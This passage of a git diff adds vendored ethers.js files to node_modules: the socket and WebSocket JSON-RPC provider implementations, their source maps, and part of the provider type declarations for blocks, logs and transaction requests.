E;AAED;;;;GAIG;AACH,qBAAa,cAAe,SAAQ,kBAAkB;;IAUlD;;;;OAIG;gBACS,OAAO,CAAC,EAAE,UAAU,EAAE,QAAQ,CAAC,EAAE,yBAAyB;IAgCtE,cAAc,CAAC,GAAG,EAAE,YAAY,GAAG,UAAU;IAoB7C;;;OAGG;IACH,SAAS,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,EAAE,UAAU,EAAE,gBAAgB,GAAG,IAAI;IAWlE,KAAK,CAAC,OAAO,EAAE,cAAc,GAAG,KAAK,CAAC,cAAc,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,aAAa,GAAG,YAAY,CAAC,CAAC;IAmC1G;;;OAGG;IACG,eAAe,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAuCrD;;;OAGG;IACG,MAAM,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;CAG/C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-socket.js b/node_modules/ethers/lib.esm/providers/provider-socket.js new file mode 100644 index 000000000000..88bd7f58d38e --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-socket.js @@ -0,0 +1,301 @@ +/** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ +import { UnmanagedSubscriber } from "./abstract-provider.js"; +import { assert, assertArgument, makeError } from "../utils/index.js"; +import { JsonRpcApiProvider } from "./provider-jsonrpc.js"; +/** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ +export class SocketSubscriber { + #provider; + #filter; + /** + * The filter. + */ + get filter() { return JSON.parse(this.#filter); } + #filterId; + #paused; + #emitPromise; + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = JSON.stringify(filter); + this.#filterId = null; + this.#paused = null; + this.#emitPromise = null; + } + start() { + this.#filterId = this.#provider.send("eth_subscribe", this.filter).then((filterId) => { + ; + this.#provider._register(filterId, this); + return filterId; + }); + } + stop() { + (this.#filterId).then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_unsubscribe", [filterId]); + }); + this.#filterId = null; + } + // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs + // and resume + pause(dropWhilePaused) { + assert(dropWhilePaused, "preserve logs while paused not supported by SocketSubscriber yet", "UNSUPPORTED_OPERATION", { operation: "pause(false)" }); + this.#paused = !!dropWhilePaused; + } + resume() { + this.#paused = null; + } + /** + * @_ignore: + */ + _handleMessage(message) { + if (this.#filterId == null) { + return; + } + if (this.#paused === null) { + let emitPromise = this.#emitPromise; + if (emitPromise == null) { + emitPromise = this._emit(this.#provider, message); + } + else { + emitPromise = emitPromise.then(async () => { + await this._emit(this.#provider, message); + }); + } + this.#emitPromise = emitPromise.then(() => { + if (this.#emitPromise === emitPromise) { + this.#emitPromise = null; + } + }); + } + } + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + async _emit(provider, message) { + throw new Error("sub-classes must implemente this; _emit"); + } +} +/** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ +export class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newHeads"]); + } + async _emit(provider, message) { + provider.emit("block", parseInt(message.number)); + } +} +/** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ +export class SocketPendingSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newPendingTransactions"]); + } + async _emit(provider, message) { + provider.emit("pending", message); + } +} +/** + * A **SocketEventSubscriber** listens for event logs. + */ +export class SocketEventSubscriber extends SocketSubscriber { + #logFilter; + /** + * The filter. + */ + get logFilter() { return JSON.parse(this.#logFilter); } + /** + * @_ignore: + */ + constructor(provider, filter) { + super(provider, ["logs", filter]); + this.#logFilter = JSON.stringify(filter); + } + async _emit(provider, message) { + provider.emit(this.logFilter, provider._wrapLog(message, provider._network)); + } +} +/** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ +export class SocketProvider extends JsonRpcApiProvider { + #callbacks; + // Maps each filterId to its subscriber + #subs; + // If any events come in before a subscriber has finished + // registering, queue them + #pending; + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network, _options) { + // Copy the options + const options = Object.assign({}, (_options != null) ? _options : {}); + // Support for batches is generally not supported for + // connection-base providers; if this changes in the future + // the _send should be updated to reflect this + assertArgument(options.batchMaxCount == null || options.batchMaxCount === 1, "sockets-based providers do not support batches", "options.batchMaxCount", _options); + options.batchMaxCount = 1; + // Socket-based Providers (generally) cannot change their network, + // since they have a long-lived connection; but let people override + // this if they have just cause. + if (options.staticNetwork == null) { + options.staticNetwork = true; + } + super(network, options); + this.#callbacks = new Map(); + this.#subs = new Map(); + this.#pending = new Map(); + } + // This value is only valid after _start has been called + /* + get _network(): Network { + if (this.#network == null) { + throw new Error("this shouldn't happen"); + } + return this.#network.clone(); + } + */ + _getSubscriber(sub) { + switch (sub.type) { + case "close": + return new UnmanagedSubscriber("close"); + case "block": + return new SocketBlockSubscriber(this); + case "pending": + return new SocketPendingSubscriber(this); + case "event": + return new SocketEventSubscriber(this, sub.filter); + case "orphan": + // Handled auto-matically within AbstractProvider + // when the log.removed = true + if (sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("drop-log"); + } + } + return super._getSubscriber(sub); + } + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId, subscriber) { + this.#subs.set(filterId, subscriber); + const pending = this.#pending.get(filterId); + if (pending) { + for (const message of pending) { + subscriber._handleMessage(message); + } + this.#pending.delete(filterId); + } + } + async _send(payload) { + // WebSocket provider doesn't accept batches + assertArgument(!Array.isArray(payload), "WebSocket does not support batch send", "payload", payload); + // @TODO: stringify payloads here and store to prevent mutations + // Prepare a promise to respond to + const promise = new Promise((resolve, reject) => { + this.#callbacks.set(payload.id, { payload, resolve, reject }); + }); + // Wait until the socket is connected before writing to it + await this._waitUntilReady(); + // Write the request to the socket + await this._write(JSON.stringify(payload)); + return [await promise]; + } + // Sub-classes must call this once they are connected + /* + async _start(): Promise { + if (this.#ready) { return; } + + for (const { payload } of this.#callbacks.values()) { + await this._write(JSON.stringify(payload)); + } + + this.#ready = (async function() { + await super._start(); + })(); + } + */ + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + async _processMessage(message) { + const result = (JSON.parse(message)); + if (result && typeof (result) === "object" && "id" in result) { + const callback = this.#callbacks.get(result.id); + if (callback == null) { + this.emit("error", makeError("received result for unknown id", "UNKNOWN_ERROR", { + reasonCode: "UNKNOWN_ID", + result + })); + return; + } + this.#callbacks.delete(result.id); + callback.resolve(result); + } + else if (result && result.method === "eth_subscription") { + const filterId = result.params.subscription; + const subscriber = this.#subs.get(filterId); + if (subscriber) { + subscriber._handleMessage(result.params.result); + } + else { + let pending = this.#pending.get(filterId); + if (pending == null) { + pending = []; + this.#pending.set(filterId, pending); + } + pending.push(result.params.result); + } + } + else { + this.emit("error", makeError("received unexpected message", "UNKNOWN_ERROR", { + reasonCode: "UNEXPECTED_MESSAGE", + result + })); + return; + } + } + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + async _write(message) { + throw new Error("sub-classes must override this"); + } +} +//# sourceMappingURL=provider-socket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-socket.js.map b/node_modules/ethers/lib.esm/providers/provider-socket.js.map new file mode 100644 index 000000000000..f8ee02db449b --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-socket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-socket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-socket.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAEH,OAAO,EAAE,mBAAmB,EAAE,MAAM,wBAAwB,CAAC;AAC7D,OAAO,EAAE,MAAM,EAAE,cAAc,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AACtE,OAAO,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAkB3D;;;GAGG;AACH,MAAM,OAAO,gBAAgB;IACzB,SAAS,CAAiB;IAE1B,OAAO,CAAS;IAEhB;;OAEG;IACH,IAAI,MAAM,KAAiB,OAAO,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;IAE7D,SAAS,CAAiC;IAC1C,OAAO,CAAiB;IAExB,YAAY,CAAuB;IAEnC;;;OAGG;IACH,YAAY,QAAwB,EAAE,MAAkB;QACpD,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAC1B,IAAI,CAAC,OAAO,GAAG,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;QACtC,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QACtB,IAAI,CAAC,OAAO,GAAG,IAAI,C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AAM;iBACT,CAAC,CAAC,CAAC;gBACJ,OAAO;aACV;YACD,IAAI,CAAC,UAAU,CAAC,MAAM,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC;YAElC,QAAQ,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;SAE5B;aAAM,IAAI,MAAM,IAAI,MAAM,CAAC,MAAM,KAAK,kBAAkB,EAAE;YACvD,MAAM,QAAQ,GAAG,MAAM,CAAC,MAAM,CAAC,YAAY,CAAC;YAC5C,MAAM,UAAU,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;YAC5C,IAAI,UAAU,EAAE;gBACZ,UAAU,CAAC,cAAc,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;aACnD;iBAAM;gBACH,IAAI,OAAO,GAAG,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;gBAC1C,IAAI,OAAO,IAAI,IAAI,EAAE;oBACjB,OAAO,GAAG,EAAG,CAAC;oBACd,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;iBACxC;gBACD,OAAO,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;aACtC;SAEJ;aAAM;YACH,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,SAAS,CAAC,6BAA6B,EAAE,eAAe,EAAE;gBACzE,UAAU,EAAE,oBAAoB;gBAChC,MAAM;aACT,CAAC,CAAC,CAAC;YACJ,OAAO;SACV;IACL,CAAC;IAED;;;OAGG;IACH,KAAK,CAAC,MAAM,CAAC,OAAe;QACxB,MAAM,IAAI,KAAK,CAAC,gCAAgC,CAAC,CAAC;IACtD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-websocket.d.ts b/node_modules/ethers/lib.esm/providers/provider-websocket.d.ts new file mode 100644 index 000000000000..b34c9842e9be --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-websocket.d.ts @@ -0,0 +1,37 @@ +import { SocketProvider } from "./provider-socket.js"; +import type { JsonRpcApiProviderOptions } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * A generic interface to a Websocket-like object. + */ +export interface WebSocketLike { + onopen: null | ((...args: Array) => any); + onmessage: null | ((...args: Array) => any); + onerror: null | ((...args: Array) => any); + readyState: number; + send(payload: any): void; + close(code?: number, reason?: string): void; +} +/** + * A function which can be used to re-create a WebSocket connection + * on disconnect. + */ +export type WebSocketCreator = () => WebSocketLike; +/** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ +export declare class WebSocketProvider extends SocketProvider { + #private; + get websocket(): WebSocketLike; + constructor(url: string | WebSocketLike | WebSocketCreator, network?: Networkish, options?: JsonRpcApiProviderOptions); + _write(message: string): Promise; + destroy(): Promise; +} +//# sourceMappingURL=provider-websocket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-websocket.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-websocket.d.ts.map new file mode 100644 index 000000000000..886b1976633c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-websocket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-websocket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-websocket.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,yBAAyB,EAAC,MAAM,uBAAuB,CAAC;AACtE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C;;GAEG;AACH,MAAM,WAAW,aAAa;IAC1B,MAAM,EAAE,IAAI,GAAG,CAAC,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC;IAC9C,SAAS,EAAE,IAAI,GAAG,CAAC,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC;IACjD,OAAO,EAAE,IAAI,GAAG,CAAC,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC;IAE/C,UAAU,EAAE,MAAM,CAAC;IAEnB,IAAI,CAAC,OAAO,EAAE,GAAG,GAAG,IAAI,CAAC;IACzB,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;CAC/C;AAED;;;GAGG;AACH,MAAM,MAAM,gBAAgB,GAAG,MAAM,aAAa,CAAC;AAEnD;;;;;;;;;GASG;AACH,qBAAa,iBAAkB,SAAQ,cAAc;;IAIjD,IAAI,SAAS,IAAI,aAAa,CAG7B;gBAEW,GAAG,EAAE,MAAM,GAAG,aAAa,GAAG,gBAAgB,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IA2C/G,MAAM,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAItC,OAAO,IAAI,OAAO,CAAC,IAAI,CAAC;CAOjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-websocket.js b/node_modules/ethers/lib.esm/providers/provider-websocket.js new file mode 100644 index 000000000000..2f4fb2e557e8 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-websocket.js @@ -0,0 +1,76 @@ +import { WebSocket as _WebSocket } from "./ws.js"; /*-browser*/ +import { SocketProvider } from "./provider-socket.js"; +/** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ +export class WebSocketProvider extends SocketProvider { + #connect; + #websocket; + get websocket() { + if (this.#websocket == null) { + throw new Error("websocket closed"); + } + return this.#websocket; + } + constructor(url, network, options) { + super(network, options); + if (typeof (url) === "string") { + this.#connect = () => { return new _WebSocket(url); }; + this.#websocket = this.#connect(); + } + else if (typeof (url) === "function") { + this.#connect = url; + this.#websocket = url(); + } + else { + this.#connect = null; + this.#websocket = url; + } + this.websocket.onopen = async () => { + try { + await this._start(); + this.resume(); + } + catch (error) { + console.log("failed to start WebsocketProvider", error); + // @TODO: now what? Attempt reconnect? + } + }; + this.websocket.onmessage = (message) => { + this._processMessage(message.data); + }; + /* + this.websocket.onclose = (event) => { + // @TODO: What event.code should we reconnect on? + const reconnect = false; + if (reconnect) { + this.pause(true); + if (this.#connect) { + this.#websocket = this.#connect(); + this.#websocket.onopen = ... + // @TODO: this requires the super class to rebroadcast; move it there + } + this._reconnect(); + } + }; + */ + } + async _write(message) { + this.websocket.send(message); + } + async destroy() { + if (this.#websocket != null) { + this.#websocket.close(); + this.#websocket = null; + } + super.destroy(); + } +} +//# sourceMappingURL=provider-websocket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-websocket.js.map b/node_modules/ethers/lib.esm/providers/provider-websocket.js.map new file mode 100644 index 000000000000..42a83b53c9bb --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-websocket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-websocket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-websocket.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,SAAS,IAAI,UAAU,EAAE,MAAM,SAAS,CAAC,CAAC,YAAY;AAE/D,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAyBtD;;;;;;;;;GASG;AACH,MAAM,OAAO,iBAAkB,SAAQ,cAAc;IACjD,QAAQ,CAA0B;IAElC,UAAU,CAAuB;IACjC,IAAI,SAAS;QACT,IAAI,IAAI,C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AS,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IACjC,CAAC;IAED,KAAK,CAAC,OAAO;QACT,IAAI,IAAI,CAAC,UAAU,IAAI,IAAI,EAAE;YACzB,IAAI,CAAC,UAAU,CAAC,KAAK,EAAE,CAAC;YACxB,IAAI,CAAC,UAAU,GAAG,IAAI,CAAC;SAC1B;QACD,KAAK,CAAC,OAAO,EAAE,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider.d.ts b/node_modules/ethers/lib.esm/providers/provider.d.ts new file mode 100644 index 000000000000..b2aa244f5bcf --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider.d.ts @@ -0,0 +1,1223 @@ +import type { AddressLike, NameResolver } from "../address/index.js"; +import type { BigNumberish, EventEmitterable } from "../utils/index.js"; +import type { Signature } from "../crypto/index.js"; +import type { AccessList, AccessListish, Authorization, AuthorizationLike, BlobLike, KzgLibraryLike, TransactionLike } from "../transaction/index.js"; +import type { ContractRunner } from "./contracts.js"; +import type { Network } from "./network.js"; +/** + * A **BlockTag** specifies a specific block. + * + * **numeric value** - specifies the block height, where + * the genesis block is block 0; many operations accept a negative + * value which indicates the block number should be deducted from + * the most recent block. A numeric value may be a ``number``, ``bigint``, + * or a decimal of hex string. + * + * **blockhash** - specifies a specific block by its blockhash; this allows + * potentially orphaned blocks to be specifed, without ambiguity, but many + * backends do not support this for some operations. + */ +export type BlockTag = BigNumberish | string; +import { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams } from "./formatting.js"; +/** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ +export declare class FeeData { + /** + * The gas price for legacy networks. + */ + readonly gasPrice: null | bigint; + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + readonly maxFeePerGas: null | bigint; + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + readonly maxPriorityFeePerGas: null | bigint; + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice?: null | bigint, maxFeePerGas?: null | bigint, maxPriorityFeePerGas?: null | bigint); + /** + * Returns a JSON-friendly value. + */ + toJSON(): any; +} +/** + * A **TransactionRequest** is a transactions with potentially various + * properties not defined, or with less strict types for its values. + * + * This is used to pass to various operations, which will internally + * coerce any types and populate any necessary values. + */ +export interface TransactionRequest { + /** + * The transaction type. + */ + type?: null | number; + /** + * The target of the transaction. + */ + to?: null | AddressLike; + /** + * The sender of the transaction. + */ + from?: null | AddressLike; + /** + * The nonce of the transaction, used to prevent replay attacks. + */ + nonce?: null | number; + /** + * The maximum amount of gas to allow this transaction to consume. + */ + gasLimit?: null | BigNumberish; + /** + * The gas price to use for legacy transactions or transactions on + * legacy networks. + * + * Most of the time the ``max*FeePerGas`` is preferred. + */ + gasPrice?: null | BigNumberish; + /** + * The [[link-eip-1559]] maximum priority fee to pay per gas. + */ + maxPriorityFeePerGas?: null | BigNumberish; + /** + * The [[link-eip-1559]] maximum total fee to pay per gas. The actual + * value used is protocol enforced to be the block's base fee. + */ + maxFeePerGas?: null | BigNumberish; + /** + * The transaction data. + */ + data?: null | string; + /** + * The transaction value (in wei). + */ + value?: null | BigNumberish; + /** + * The chain ID for the network this transaction is valid on. + */ + chainId?: null | BigNumberish; + /** + * The [[link-eip-2930]] access list. Storage slots included in the access + * list are //warmed// by pre-loading them, so their initial cost to + * fetch is guaranteed, but then each additional access is cheaper. + */ + accessList?: null | AccessListish; + /** + * A custom object, which can be passed along for network-specific + * values. + */ + customData?: any; + /** + * When using ``call`` or ``estimateGas``, this allows a specific + * block to be queried. Many backends do not support this and when + * unsupported errors are silently squelched and ``"latest"`` is used. + */ + blockTag?: BlockTag; + /** + * When using ``call``, this enables CCIP-read, which permits the + * provider to be redirected to web-based content during execution, + * which is then further validated by the contract. + * + * There are potential security implications allowing CCIP-read, as + * it could be used to expose the IP address or user activity during + * the fetch to unexpected parties. + */ + enableCcipRead?: boolean; + /** + * The blob versioned hashes (see [[link-eip-4844]]). + */ + blobVersionedHashes?: null | Array; + /** + * The maximum fee per blob gas (see [[link-eip-4844]]). + */ + maxFeePerBlobGas?: null | BigNumberish; + /** + * Any blobs to include in the transaction (see [[link-eip-4844]]). + */ + blobs?: null | Array; + /** + * An external library for computing the KZG commitments and + * proofs necessary for EIP-4844 transactions (see [[link-eip-4844]]). + * + * This is generally ``null``, unless you are creating BLOb + * transactions. + */ + kzg?: null | KzgLibraryLike; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: null | Array; +} +/** + * A **PreparedTransactionRequest** is identical to a [[TransactionRequest]] + * except all the property types are strictly enforced. + */ +export interface PreparedTransactionRequest { + /** + * The transaction type. + */ + type?: number; + /** + * The target of the transaction. + */ + to?: AddressLike; + /** + * The sender of the transaction. + */ + from?: AddressLike; + /** + * The nonce of the transaction, used to prevent replay attacks. + */ + nonce?: number; + /** + * The maximum amount of gas to allow this transaction to consume. + */ + gasLimit?: bigint; + /** + * The gas price to use for legacy transactions or transactions on + * legacy networks. + * + * Most of the time the ``max*FeePerGas`` is preferred. + */ + gasPrice?: bigint; + /** + * The [[link-eip-1559]] maximum priority fee to pay per gas. + */ + maxPriorityFeePerGas?: bigint; + /** + * The [[link-eip-1559]] maximum total fee to pay per gas. The actual + * value used is protocol enforced to be the block's base fee. + */ + maxFeePerGas?: bigint; + /** + * The transaction data. + */ + data?: string; + /** + * The transaction value (in wei). + */ + value?: bigint; + /** + * The chain ID for the network this transaction is valid on. + */ + chainId?: bigint; + /** + * The [[link-eip-2930]] access list. Storage slots included in the access + * list are //warmed// by pre-loading them, so their initial cost to + * fetch is guaranteed, but then each additional access is cheaper. + */ + accessList?: AccessList; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: Array; + /** + * A custom object, which can be passed along for network-specific + * values. + */ + customData?: any; + /** + * When using ``call`` or ``estimateGas``, this allows a specific + * block to be queried. Many backends do not support this and when + * unsupported errors are silently squelched and ``"latest"`` is used. + */ + blockTag?: BlockTag; + /** + * When using ``call``, this enables CCIP-read, which permits the + * provider to be redirected to web-based content during execution, + * which is then further validated by the contract. + * + * There are potential security implications allowing CCIP-read, as + * it could be used to expose the IP address or user activity during + * the fetch to unexpected parties. + */ + enableCcipRead?: boolean; +} +/** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ +export declare function copyRequest(req: TransactionRequest): PreparedTransactionRequest; +/** + * An Interface to indicate a [[Block]] has been included in the + * blockchain. This asserts a Type Guard that necessary properties + * are non-null. + * + * Before a block is included, it is a //pending// block. + */ +export interface MinedBlock extends Block { + /** + * The block number also known as the block height. + */ + readonly number: number; + /** + * The block hash. + */ + readonly hash: string; + /** + * The block timestamp, in seconds from epoch. + */ + readonly timestamp: number; + /** + * The block date, created from the [[timestamp]]. + */ + readonly date: Date; + /** + * The miner of the block, also known as the ``author`` or + * block ``producer``. + */ + readonly miner: string; +} +/** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ +export declare class Block implements BlockParams, Iterable { + #private; + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + readonly number: number; + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + readonly hash: null | string; + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + readonly timestamp: number; + /** + * The block hash of the parent block. + */ + readonly parentHash: string; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot: null | string; + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + readonly nonce: string; + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + readonly difficulty: bigint; + /** + * The total gas limit for this block. + */ + readonly gasLimit: bigint; + /** + * The total gas used in this block. + */ + readonly gasUsed: bigint; + /** + * The root hash for the global state after applying changes + * in this block. + */ + readonly stateRoot: null | string; + /** + * The hash of the transaction receipts trie. + */ + readonly receiptsRoot: null | string; + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + readonly blobGasUsed: null | bigint; + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + readonly excessBlobGas: null | bigint; + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + readonly miner: string; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + readonly prevRandao: null | string; + /** + * Any extra data the validator wished to include. + */ + readonly extraData: string; + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + readonly baseFeePerGas: null | bigint; + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block: BlockParams, provider: Provider); + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions(): ReadonlyArray; + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions(): Array; + /** + * Returns a JSON-friendly value. + */ + toJSON(): any; + [Symbol.iterator](): Iterator; + /** + * The number of transactions in this block. + */ + get length(): number; + /** + * The [[link-js-date]] this block was included at. + */ + get date(): null | Date; + /** + * Get the transaction at %%indexe%% within this block. + */ + getTransaction(indexOrHash: number | string): Promise; + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash: number | string): TransactionResponse; + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined(): this is MinedBlock; + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon(): this is (Block & { + baseFeePerGas: bigint; + }); + /** + * @_ignore: + */ + orphanedEvent(): OrphanFilter; +} +/** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ +export declare class Log implements LogParams { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + readonly transactionHash: string; + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + readonly blockHash: string; + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + readonly blockNumber: number; + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + readonly removed: boolean; + /** + * The address of the contract that emitted this log. + */ + readonly address: string; + /** + * The data included in this log when it was emitted. + */ + readonly data: string; + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + readonly topics: ReadonlyArray; + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + readonly index: number; + /** + * The index within the transaction of this log. + */ + readonly transactionIndex: number; + /** + * @_ignore: + */ + constructor(log: LogParams, provider: Provider); + /** + * Returns a JSON-compatible object. + */ + toJSON(): any; + /** + * Returns the block that this log occurred in. + */ + getBlock(): Promise; + /** + * Returns the transaction that this log occurred in. + */ + getTransaction(): Promise; + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + getTransactionReceipt(): Promise; + /** + * @_ignore: + */ + removedEvent(): 